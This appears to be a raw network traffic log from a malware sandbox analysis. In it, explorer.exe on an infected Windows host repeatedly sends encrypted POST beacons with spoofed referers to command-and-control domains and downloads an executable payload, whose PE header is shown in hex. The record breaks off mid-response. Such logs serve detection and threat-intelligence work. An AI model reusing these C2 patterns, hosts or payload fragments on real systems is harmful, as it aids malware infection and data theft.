Jan 14, 2022 04:59:41.839482069 CET	12905	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bqqdf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: host-data-coin-11.com
Jan 14, 2022 04:59:41.839504004 CET	12905	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de bc 66 5d 02 c9 a1 c1 64 15 ca 86 25 Data Ascii: ?2~236hTkowmFu$f]d%MZb3aYMY[-cbp%`BaIA1))'/KHE#b[P$T}MC]!6<j~PPhL!u/=Bd\SufM!&r-m+6!
Jan 14, 2022 04:59:41.921860933 CET	12906	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49857	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:42.005439043 CET	12908	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dcbwcxee.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: host-data-coin-11.com
Jan 14, 2022 04:59:42.005458117 CET	12908	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bd 66 5d 02 c8 a1 c1 64 2b c3 89 79 Data Ascii: ?2~236hTkowmFu$f]d+y$f4g*NR_>Um{h_;o84
Jan 14, 2022 04:59:42.089756012 CET	12909	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49861	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:42.699807882 CET	12930	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vwrxdxe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: host-data-coin-11.com
Jan 14, 2022 04:59:42.699821949 CET	12930	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de ba 66 5d 02 c8 a1 c1 64 02 92 84 12 Data Ascii: ?2~236hTkowmFu$f]d \|*cnHqVBP-.\L,YBc"@2=!,YJXQOsN2_z@uhPhK&1OdN\H XE6g<rYTE
Jan 14, 2022 04:59:42.781038046 CET	12932	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49864	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:43.086858034 CET	12940	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kijlaf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 236 Host: host-data-coin-11.com
Jan 14, 2022 04:59:43.086869955 CET	12941	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bb 66 5d 02 c8 a1 c1 64 27 af d1 00 Data Ascii: ?2~236hTkowmFu$f]d'K{7X^jTNS`}@8@8gU2^}'^/\*wIpZu)Ie8hO>e0lYcz]d$%:9O[gfX?`,rC
Jan 14, 2022 04:59:43.176691055 CET	12941	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49866	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:43.284842968 CET	12943	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xbgcbdcvsv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: host-data-coin-11.com
Jan 14, 2022 04:59:43.284877062 CET	12943	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b8 66 5d 02 c8 a1 c1 64 39 ca c1 24 Data Ascii: ?2~236hTkowmFu$f]d9$6`/&ZnSyDn\|y?gn}VH4`#\|,]a.P+-['g=n:9rDXl=fqD~)?PYwrdYj;ZuK%&
Jan 14, 2022 04:59:43.367590904 CET	12944	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49867	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:43.584142923 CET	12945	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kvaxa.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: host-data-coin-11.com
Jan 14, 2022 04:59:43.584453106 CET	12945	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b9 66 5d 02 c8 a1 c1 64 5a 99 84 75 Data Ascii: ?2~236hTkowmFu$f]dZu u7B_vDIRY~@I x`%1&_b#^"zBx6dE'7S~.W-e"--@8Jpd'ZS1Z~Ly#JvT
Jan 14, 2022 04:59:43.669954062 CET	12946	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49868	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:43.797128916 CET	12947	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wferj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 138 Host: host-data-coin-11.com
Jan 14, 2022 04:59:43.797136068 CET	12947	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b6 66 5d 02 c8 a1 c1 64 34 91 a7 66 Data Ascii: ?2~236hTkowmFu$f]d4fJae`D\&!D /kwo?_).K-D@@z?'$v
Jan 14, 2022 04:59:43.885927916 CET	12947	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49869	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:44.478602886 CET	12948	OUT	GET /files/8474_1641976243_3082.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 04:59:44.543018103 CET	12949	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:44 GMT Content-Type: application/x-msdos-program Content-Length: 373760 Connection: close Last-Modified: Wed, 12 Jan 2022 08:30:43 GMT ETag: "5b400-5d55e62ba577e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 c1 04 00 06 c2 04 00 1a c2 04 00 30 c2 04 00 40 c2 04 00 50 c2 04 00 6c c2 04 00 84 c2 04 00 98 c2 04 00 a8 c2 04 00 c2 c2 04 00 dc c2 04 00 f4 c2 04 00 08 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$lU(((6)16?Wl+(686()6-)Rich(PELaR`v@@&({0@8.text `.data@.gizi@.bur@.wob@.rsrc{\|@@.reloc4F0Hl@B0@Pl
Jan 14, 2022 04:59:44.543087006 CET	12951	IN	Data Raw: c3 04 00 14 c3 04 00 22 c3 04 00 3a c3 04 00 50 c3 04 00 72 c3 04 00 7e c3 04 00 92 c3 04 00 ae c3 04 00 c0 c3 04 00 dc c3 04 00 ee c3 04 00 02 c4 04 00 10 c4 04 00 2a c4 04 00 38 c4 04 00 4a c4 04 00 62 c4 04 00 76 c4 04 00 84 c4 04 00 94 c4 04 Data Ascii: ":Pr~8Jbv(FXn~FR^\|"2Lh
Jan 14, 2022 04:59:44.543126106 CET	12952	IN	Data Raw: 61 62 61 73 65 6c 61 63 61 68 65 78 75 78 61 00 00 67 75 67 61 66 61 76 61 70 69 73 75 66 65 74 69 72 65 6e 75 63 69 68 6f 62 65 79 6f 6b 75 78 75 74 65 62 69 6a 75 62 69 78 6f 66 61 78 61 62 65 00 00 00 00 77 65 67 61 7a 65 76 65 76 65 6d 69 74 Data Ascii: abaselacahexuxagugafavapisufetirenucihobeyokuxutebijubixofaxabewegazevevemitohokababawijufapiyodewemuBed riwinodo sugefepoxoyena jexobunimujodo roketoyahoDaka yije
Jan 14, 2022 04:59:44.543164015 CET	12954	IN	Data Raw: 78 6f 6e 69 73 69 7a 00 00 00 00 6e 00 61 00 66 00 69 00 72 00 65 00 74 00 75 00 00 00 00 00 79 6f 68 75 72 75 63 69 63 69 62 65 62 61 7a 75 6d 61 68 00 6e 69 6a 75 72 75 63 65 67 6f 00 00 6b 75 6e 6f 79 61 66 69 72 65 67 65 6c 69 6e 6f 77 61 00 Data Ascii: xonisiznafiretuyohurucicibebazumahnijurucegokunoyafiregelinowaPusazideVaguxabufereg godid vefas nehesuhLivoferuledanep yuvimigukos fezufogamor hitiRuterirunih hazuxehez dugifagiwuna wuhij sasorokukuwhukujid
Jan 14, 2022 04:59:44.543203115 CET	12955	IN	Data Raw: 00 20 00 70 00 4f 00 6c 00 64 00 42 00 6c 00 6f 00 63 00 6b 00 00 00 00 00 00 00 00 00 66 00 52 00 65 00 61 00 6c 00 6c 00 6f 00 63 00 20 00 7c 00 7c 00 20 00 28 00 21 00 66 00 52 00 65 00 61 00 6c 00 6c 00 6f 00 63 00 20 00 26 00 26 00 20 00 70 Data Ascii: pOldBlockfRealloc \|\| (!fRealloc && pNewBlock == pOldBlock)Error: possible heap corruption at or near 0x%ppOldBlock->nLine == IGNORE_LINE
Jan 14, 2022 04:59:44.543243885 CET	12956	IN	Data Raw: 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 62 65 66 6f 72 65 20 25 68 73 20 62 6c 6f 63 6b 20 28 23 25 64 29 20 61 74 20 30 78 25 70 2e 0a 43 52 54 20 64 65 74 65 63 74 65 64 20 74 68 61 74 20 74 68 65 20 61 70 70 6c 69 63 61 Data Ascii: CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to mem
Jan 14, 2022 04:59:44.543283939 CET	12958	IN	Data Raw: 00 41 00 59 00 53 00 5f 00 44 00 46 00 20 00 7c 00 20 00 5f 00 43 00 52 00 54 00 44 00 42 00 47 00 5f 00 43 00 48 00 45 00 43 00 4b 00 5f 00 43 00 52 00 54 00 5f 00 44 00 46 00 20 00 7c 00 20 00 5f 00 43 00 52 00 54 00 44 00 42 00 47 00 5f 00 4c Data Ascii: AYS_DF \| _CRTDBG_CHECK_CRT_DF \| _CRTDBG_LEAK_CHECK_DF) ) == 0)Bad memory block found at 0x%p.Bad memory block found at 0x%p.Memory allocated at %hs(%d)._CrtMem
Jan 14, 2022 04:59:44.543319941 CET	12959	IN	Data Raw: 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 64 00 62 00 67 00 72 00 70 00 74 00 2e 00 63 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 56 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 44 Data Ascii: 6\crt\src\dbgrpt.cMicrosoft Visual C++ Debug Library_CrtDbgReport: String too long or IO Errorwcscpy_s(szOutMessage,
Jan 14, 2022 04:59:44.543360949 CET	12960	IN	Data Raw: 00 30 00 78 00 30 00 30 00 30 00 33 00 30 00 30 00 30 00 30 00 29 00 00 00 5f 00 73 00 65 00 74 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 70 00 72 00 65 00 63 00 69 00 73 00 69 00 6f 00 6e 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 Data Ascii: 0x00030000)_setdefaultprecisionf:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c~PAGAIsProcessorFeaturePresentKERNEL32siz
Jan 14, 2022 04:59:44.543400049 CET	12962	IN	Data Raw: 73 00 00 6d 00 73 00 63 00 6f 00 72 00 65 00 65 00 2e 00 64 00 6c 00 6c 00 00 00 45 6e 63 6f 64 65 50 6f 69 6e 74 65 72 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 00 00 44 65 63 6f 64 65 50 6f 69 6e 74 Data Ascii: smscoree.dllEncodePointerKERNEL32.DLLDecodePointerf:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.cFlsFreeFlsSetValueFlsGetValueFlsAlloc("inconsistent IOB fields",
Jan 14, 2022 04:59:44.600991011 CET	12963	IN	Data Raw: 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 92 00 00 c0 08 00 00 00 00 00 00 00 93 00 00 c0 08 Data Ascii: wcscpy_s(*env, cchars, p)_wsetenvpf:\dd\vctools\crt_bld\self_x86\crt\src\st

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49871	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:46.348975897 CET	13341	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jkhktrj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: host-data-coin-11.com
Jan 14, 2022 04:59:46.349258900 CET	13341	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de b6 66 5d 02 c9 a1 c1 64 37 b1 d3 06 Data Ascii: ?2~236hTkowmFu$f]d7,@Y9M]\|}$(Z8oSL:W?/J S(* 9
Jan 14, 2022 04:59:46.436677933 CET	13342	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 